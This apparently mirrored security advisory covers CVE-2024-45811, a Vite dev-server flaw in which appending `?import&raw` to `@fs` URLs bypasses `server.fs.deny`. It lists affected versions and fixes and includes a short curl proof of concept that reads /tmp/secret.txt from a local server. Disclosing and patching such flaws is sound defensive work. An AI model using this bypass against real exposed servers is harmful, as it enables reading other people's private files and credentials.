ghsa-9cwx-2883-4wfx
Vulnerability from github
Published
2024-09-17 18:44
Modified
2024-09-19 18:34
Severity ?
5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
6.9 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Summary
Vite's `server.fs.deny` is bypassed when using `?import&raw`
Details
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs
denies access to files outside of Vite serving allow list. Adding ?import&raw
to the URL bypasses this limitation and returns the file content if it exists.
PoC
```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
$ echo "top secret content" > /tmp/secret.txt
expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```
{ affected: [ { database_specific: { last_known_affected_version_range: "<= 5.4.5", }, package: { ecosystem: "npm", name: "vite", }, ranges: [ { events: [ { introduced: "5.4.0", }, { fixed: "5.4.6", }, ], type: "ECOSYSTEM", }, ], }, { database_specific: { last_known_affected_version_range: "<= 5.3.5", }, package: { ecosystem: "npm", name: "vite", }, ranges: [ { events: [ { introduced: "5.3.0", }, { fixed: "5.3.6", }, ], type: "ECOSYSTEM", }, ], }, { package: { ecosystem: "npm", name: "vite", }, ranges: [ { events: [ { introduced: "5.2.0", }, { fixed: "5.2.14", }, ], type: "ECOSYSTEM", }, ], }, { database_specific: { last_known_affected_version_range: "<= 4.5.3", }, package: { ecosystem: "npm", name: "vite", }, ranges: [ { events: [ { introduced: "4.0.0", }, { fixed: "4.5.4", }, ], type: "ECOSYSTEM", }, ], }, { database_specific: { last_known_affected_version_range: "<= 3.2.10", }, package: { ecosystem: "npm", name: "vite", }, ranges: [ { events: [ { introduced: "0", }, { fixed: "3.2.11", }, ], type: "ECOSYSTEM", }, ], }, { database_specific: { last_known_affected_version_range: "<= 5.1.7", }, package: { ecosystem: "npm", name: "vite", }, ranges: [ { events: [ { introduced: "5.0.0", }, { fixed: "5.1.8", }, ], type: "ECOSYSTEM", }, ], }, ], aliases: [ "CVE-2024-45811", ], database_specific: { cwe_ids: [ "CWE-200", "CWE-284", ], github_reviewed: true, github_reviewed_at: "2024-09-17T18:44:12Z", nvd_published_at: "2024-09-17T20:15:05Z", severity: "MODERATE", }, details: "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists.\n\n### PoC\n```sh\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n <body>\n <h1>403 Restricted</h1>\n <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```\n\n", id: "GHSA-9cwx-2883-4wfx", modified: "2024-09-19T18:34:32Z", published: "2024-09-17T18:44:12Z", references: [ { type: "WEB", url: "https://github.com/vitejs/vite/security/advisories/GHSA-9cwx-2883-4wfx", }, { type: "ADVISORY", url: "https://nvd.nist.gov/vuln/detail/CVE-2024-45811", }, { type: "WEB", url: "https://github.com/vitejs/vite/commit/4573a6fd6f1b097fb7296a3e135e0646b996b249", }, { type: "WEB", url: "https://github.com/vitejs/vite/commit/6820bb3b9a54334f3268fc5ee1e967d2e1c0db34", }, { type: "WEB", url: "https://github.com/vitejs/vite/commit/8339d7408668686bae56eaccbfdc7b87612904bd", }, { type: "WEB", url: "https://github.com/vitejs/vite/commit/a6da45082b6e73ddfdcdcc06bb5414f976a388d6", }, { type: "WEB", url: "https://github.com/vitejs/vite/commit/b901438f99e667f76662840826eec91c8ab3b3e7", }, { type: "PACKAGE", url: "https://github.com/vitejs/vite", }, ], schema_version: "1.4.0", severity: [ { score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", type: "CVSS_V3", }, { score: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N", type: "CVSS_V4", }, ], summary: "Vite's `server.fs.deny` is bypassed when using `?import&raw`", }
Log in or create an account to share your comment.
Security Advisory comment format.
This schema specifies the format of a comment related to a security advisory.
Title of the comment
Description of the comment
Loading…
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.